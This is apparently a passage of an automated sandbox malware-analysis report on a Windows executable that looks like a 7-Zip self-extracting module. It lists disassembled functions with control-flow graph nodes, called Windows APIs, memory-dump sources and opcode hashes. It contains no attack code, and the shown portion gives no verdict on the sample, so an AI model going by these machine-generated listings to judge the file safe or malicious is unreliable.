                                                                                                                                                                                                                                                                                    control_flow_graph 1123 4039e7-403a0d lstrlenW call 402a67 1126 403a18-403a24 1123->1126 1127 403a0f-403a13 call 4011b7 1123->1127 1129 403a26-403a2a 1126->1129 1130 403a2c-403a32 1126->1130 1127->1126 1129->1130 1131 403a35-403a37 1129->1131 1130->1131 1132 403a5b-403a64 call 401e6b 1131->1132 1135 403a66-403a79 GetSystemTimeAsFileTime GetFileAttributesW 1132->1135 1136 403a4a-403a4c 1132->1136 1137 403a92-403a9b call 401e6b 1135->1137 1138 403a7b-403a89 call 40367d 1135->1138 1139 403a39-403a41 1136->1139 1140 403a4e-403a50 1136->1140 1153 403aac-403aae 1137->1153 1154 403a9d-403aaa call 409606 1137->1154 1138->1137 1152 403a8b-403a8d 1138->1152 1139->1140 1145 403a43-403a47 1139->1145 1141 403a56 1140->1141 1142 403b0a-403b10 1140->1142 1141->1132 1148 403b12-403b1d 1142->1148 1149 403b3a-403b4d call 409606 ??3@YAXPAX@Z 1142->1149 1145->1140 1150 403a49 1145->1150 1148->1149 1155 403b1f-403b23 1148->1155 1164 403b4f-403b53 1149->1164 1150->1136 1159 403b2f-403b38 ??3@YAXPAX@Z 1152->1159 1156 403ab0-403acf memcpy 1153->1156 1157 403afe-403b08 ??3@YAXPAX@Z 1153->1157 1154->1152 1155->1149 1161 403b25-403b2a 1155->1161 1162 403ad1 1156->1162 1163 403ae4-403ae8 1156->1163 1157->1164 1159->1164 1161->1149 1166 403b2c-403b2e 1161->1166 1167 403ae3 1162->1167 1168 403ad3-403adb 1163->1168 1169 403aea-403af7 call 401e6b 1163->1169 1166->1159 1167->1163 1168->1169 1170 403add-403ae1 1168->1170 1169->1154 1173 403af9-403afc 1169->1173 1170->1167 1170->1169 1173->1156 1173->1157
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
                                                                                                                                                                                                                                                                                    • GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
                                                                                                                                                                                                                                                                                    • GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30
                                                                                                                                                                                                                                                                                      • Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD
                                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(-00000001,00401A74,?,?,?,?,?,00401A74,?), ref: 00403AC2
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00401A74,?), ref: 00403AFF
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,00401A74,00401A74,?,?,?,?,00401A74,?), ref: 00403B45
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 846840743-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
                                                                                                                                                                                                                                                                                    • Instruction ID: 952cd346550c55d7e35c26256f51fad4d5ed31c9206aabe41908170679320093
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4141E836A00112AADB20AF59C841ABF7B7CEB4170AF50413BEC81B21D1D77D5A4286DD
                                                                                                                                                                                                                                                                                    Function 004053B2 Relevance: 10.6, APIs: 7, Instructions: 78synchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1174 4053b2-4053f7 call 4014eb * 2 memset 1179 405403-405407 1174->1179 1180 4053f9-4053fc 1174->1180 1181 405410-40542a call 404e9f call 401403 1179->1181 1182 405409 1179->1182 1180->1179 1187 405445-40545d ShellExecuteExW 1181->1187 1188 40542c-405434 ??3@YAXPAX@Z 1181->1188 1182->1181 1190 405485-405487 1187->1190 1191 40545f-405466 1187->1191 1189 405437-405444 ??3@YAXPAX@Z 1188->1189 1194 40547c-405483 ??3@YAXPAX@Z 1190->1194 1192 405473-405476 CloseHandle 1191->1192 1193 405468-40546d WaitForSingleObject 1191->1193 1192->1194 1193->1192 1194->1189
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 004053D6
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,?,?), ref: 0040542F
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 00405437
                                                                                                                                                                                                                                                                                    • ShellExecuteExW.SHELL32(?), ref: 00405455
                                                                                                                                                                                                                                                                                    • WaitForSingleObject.KERNEL32(004071CC,000000FF), ref: 0040546D
                                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(004071CC), ref: 00405476
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 0040547D
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2700081640-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
                                                                                                                                                                                                                                                                                    • Instruction ID: a17db50f12ff5cb4ace43bc03755f74cf1bf378a7c310b81d7eb3e61b1d8450d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3D212B71804208ABDB119FD5D885AEFBBB8EF44319F10812BE915B61A1D7785985CF84
                                                                                                                                                                                                                                                                                    Function 00401E6B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1195 401e6b-401e7a CreateDirectoryW 1196 401eac-401eb0 1195->1196 1197 401e7c-401e89 GetLastError 1195->1197 1198 401e96-401ea3 GetFileAttributesW 1197->1198 1199 401e8b 1197->1199 1198->1196 1201 401ea5-401ea7 1198->1201 1200 401e8c-401e95 SetLastError 1199->1200 1201->1196 1202 401ea9-401eaa 1201->1202 1202->1200
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • CreateDirectoryW.KERNELBASE(a:@,00000000,-00000001,00403A61,?,00401A74,?,?,?,?,00401A74,?), ref: 00401E72
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,00401A74,?), ref: 00401E7C
                                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(000000B7,?,?,?,?,00401A74,?), ref: 00401E8C
                                                                                                                                                                                                                                                                                    • GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00401E9A
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorLast$AttributesCreateDirectoryFile
                                                                                                                                                                                                                                                                                    • String ID: a:@
                                                                                                                                                                                                                                                                                    • API String ID: 635176117-3844204524
                                                                                                                                                                                                                                                                                    • Opcode ID: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
                                                                                                                                                                                                                                                                                    • Instruction ID: 62bb911204df67689409a0bf299a5fa733f048eefc6419992ca9e78119752425
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0CE09A3494A210BFEB212B24FC087DF3B549F01321F608A36FC19E21F0C3388852868A
                                                                                                                                                                                                                                                                                    Function 00416891 Relevance: 7.6, APIs: 5, Instructions: 141COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1206 416891-4168ae call 413b40 1209 4168b4-4168bb call 4163a6 1206->1209 1210 4169e6-4169e9 1206->1210 1213 4168c4-4168f3 call 40b2b0 memcpy 1209->1213 1214 4168bd-4168bf 1209->1214 1217 4168f6-4168fe 1213->1217 1214->1210 1218 416900-41690e 1217->1218 1219 416916-41692e 1217->1219 1220 416910 1218->1220 1221 41698a-416993 ??3@YAXPAX@Z 1218->1221 1225 416930-416935 1219->1225 1226 416995 1219->1226 1220->1219 1222 416912-416914 1220->1222 1223 4169e4-4169e5 1221->1223 1222->1219 1222->1221 1223->1210 1228 416937-41693f 1225->1228 1229 41699a-41699d 1225->1229 1227 416997-416998 1226->1227 1230 4169dd-4169e2 ??3@YAXPAX@Z 1227->1230 1231 416941 1228->1231 1232 416973-416985 memmove 1228->1232 1229->1227 1230->1223 1233 416950-416954 1231->1233 1232->1217 1234 416956-416958 1233->1234 1235 416948-41694a 1233->1235 1234->1232 1236 41695a-416963 call 4163a6 1234->1236 1235->1232 1237 41694c-41694d 1235->1237 1240 416965-416971 1236->1240 1241 41699f-4169d5 memcpy call 412a6a 1236->1241 1237->1233 1240->1232 1242 416943-416946 1240->1242 1243 4169d8-4169db 1241->1243 1242->1233 1243->1230
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(00000000,?,00000020,00010000), ref: 004168E8
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT(00000000,?,00000020,?,00010000), ref: 0041697F
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00000000), ref: 0041698B
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@memcpymemmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3549172513-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
                                                                                                                                                                                                                                                                                    • Instruction ID: 6694c7cce515cef0b0cd55d5e6bb9cb7435d9f647c4cb47c4d4af15ebe31c866
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2D41CEB1A10204ABDB20DE65C941BFFB7B9EF44704F16446EE845A7241D738EE81CBA9
                                                                                                                                                                                                                                                                                    Function 00404D0B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1258 404d0b-404d8c #17 call 418f40 call 402427 call 40247d * 7 1277 404d91-404da5 SHGetSpecialFolderPathW 1258->1277 1278 404e3a-404e3e 1277->1278 1279 404dab-404df5 wsprintfW call 4014eb * 2 call 401403 * 2 call 4035cf 1277->1279 1278->1277 1281 404e44-404e48 1278->1281 1290 404dfa-404e00 1279->1290 1291 404e02-404e25 call 401403 * 2 call 4035cf 1290->1291 1292 404e2a-404e30 1290->1292 1291->1292 1292->1290 1293 404e32-404e35 call 402990 1292->1293 1293->1278
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • #17.COMCTL32(00000000,?,?), ref: 00404D17
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402427: GetUserDefaultUILanguage.KERNEL32(00404D27,?,?), ref: 00402431
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: lstrcmpiW.KERNEL32(009795D0,?), ref: 00402541
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(009795D0), ref: 00402551
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: _wtol.MSVCRT ref: 0040260A
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,009795D0,00000002), ref: 0040262A
                                                                                                                                                                                                                                                                                    • SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
                                                                                                                                                                                                                                                                                    • wsprintfW.USER32 ref: 00404DB8
                                                                                                                                                                                                                                                                                      • Part of subcall function 004035CF: ??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
                                                                                                                                                                                                                                                                                    • String ID: 7zSfxFolder%02d
                                                                                                                                                                                                                                                                                    • API String ID: 3387708999-2820892521
                                                                                                                                                                                                                                                                                    • Opcode ID: 93e79cb75430c4e5ec341fb81b9d97ae84961af30eb98a18bccb13e1a70124f1
                                                                                                                                                                                                                                                                                    • Instruction ID: 1fdf757244b44e0294be47ca2d8d1062c2b35c8cdb495cdfc6011dfc87a7cf41
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 93e79cb75430c4e5ec341fb81b9d97ae84961af30eb98a18bccb13e1a70124f1
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8F317CB1A112089ECB11FFB2DD8AEEE7BA8AF44305F00403FA559A61E1EB784545CB59
                                                                                                                                                                                                                                                                                    Function 0040B2B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1300 40b2b0-40b2bb 1301 40b300-40b302 1300->1301 1302 40b2bd-40b2c0 1300->1302 1303 40b2c2-40b2d2 ??2@YAPAXI@Z 1302->1303 1304 40b2eb 1302->1304 1305 40b2d4-40b2d6 1303->1305 1306 40b2ed-40b2ff ??3@YAXPAX@Z 1303->1306 1304->1306 1307 40b2d8 1305->1307 1308 40b2da-40b2e9 memmove 1305->1308 1306->1301 1307->1308 1308->1306
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2C3
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT(00000000,?,?), ref: 0040B2E0
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2F1
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@??3@memmove
                                                                                                                                                                                                                                                                                    • String ID: hA
                                                                                                                                                                                                                                                                                    • API String ID: 3828600508-1221461045
                                                                                                                                                                                                                                                                                    • Opcode ID: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
                                                                                                                                                                                                                                                                                    • Instruction ID: d87302abea443053d5760b5c6252bf4bae7be4f47644660215ecec497c7fda62
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BEF0B4B66006005BC2209B1B9C9485BB7E9EFC9700704887FE92ED3700D334FC54C6AE
                                                                                                                                                                                                                                                                                    Function 00402EE4 Relevance: 6.4, APIs: 5, Instructions: 118stringCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1309 402ee4-402f2e call 4192c0 call 412a6a lstrlenA * 2 1313 402f33-402f4f call 412a36 1309->1313 1315 402f55-402f5a 1313->1315 1316 40301f 1313->1316 1315->1316 1317 402f60-402f6a 1315->1317 1318 403021-403025 1316->1318 1319 402f6d-402f72 1317->1319 1320 402fb1-402fb6 1319->1320 1321 402f74-402f79 1319->1321 1322 402fb8-402fcb memcmp 1320->1322 1323 402fdb-402fff memmove 1320->1323 1321->1323 1324 402f7b-402f8e memcmp 1321->1324 1325 402fab-402faf 1322->1325 1326 402fcd-402fd9 1322->1326 1327 403001-403008 1323->1327 1328 40300e-403019 1323->1328 1329 402f94-402f9e 1324->1329 1330 40301b-40301d 1324->1330 1325->1319 1326->1319 1327->1328 1332 402f30 1327->1332 1328->1318 1329->1316 1331 402fa0-402fa6 call 402c21 1329->1331 1330->1318 1331->1325 1332->1313
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F16
                                                                                                                                                                                                                                                                                    • lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F1E
                                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(00000000,?,?), ref: 00402F84
                                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(00000000,?,?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FC1
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT(?,?,00000000,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FF3
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: lstrlenmemcmp$memmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3251180759-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
                                                                                                                                                                                                                                                                                    • Instruction ID: 79ec95c0005fca4e8b411a1d1c8c43267f3aca6e0e8108953f5cc2358a2b563c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9B417072D0120AAFCF01DFA4C9849EEBFB9EF48384F0444AAE805B3245D3759E85DB55
                                                                                                                                                                                                                                                                                    Function 004019D2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 125COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1336 4019d2-4019e9 ??2@YAPAXI@Z 1337 4019f4 1336->1337 1338 4019eb-4019f2 call 41616a 1336->1338 1340 4019f6-401a1f call 41334e call 412a6a 1337->1340 1338->1340 1346 401a90 1340->1346 1347 401a21-401a2b ??2@YAPAXI@Z 1340->1347 1348 401a93-401aaa call 409606 1346->1348 1349 401a46 1347->1349 1350 401a2d-401a44 1347->1350 1355 401aab-401ab0 1348->1355 1352 401a48-401a5f call 40113f 1349->1352 1350->1352 1352->1348 1359 401a61-401a6b 1352->1359 1357 401ab2-401ab4 1355->1357 1358 401ab8-401aba 1355->1358 1357->1358 1360 401ac2-401ac7 1358->1360 1361 401abc-401abe 1358->1361 1362 401a79-401a83 ??2@YAPAXI@Z 1359->1362 1363 401a6d-401a6f call 4039e7 1359->1363 1365 401afc-401b00 1360->1365 1361->1360 1366 401a85-401a8e call 4016d4 1362->1366 1367 401ac9 1362->1367 1368 401a74-401a77 1363->1368 1369 401acb-401adc call 4015d8 call 401880 1366->1369 1367->1369 1368->1355 1368->1362 1375 401ae1-401ae8 1369->1375 1376 401af0-401af2 1375->1376 1377 401aea-401aec 1375->1377 1378 401af4-401af6 1376->1378 1379 401afa 1376->1379 1377->1376 1378->1379 1379->1365
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(000001E8,00000000,0041E9E8,ExecuteFile,00000025,00000025,?,00406D79,?,0041E9E8,0041E9E8), ref: 004019DF
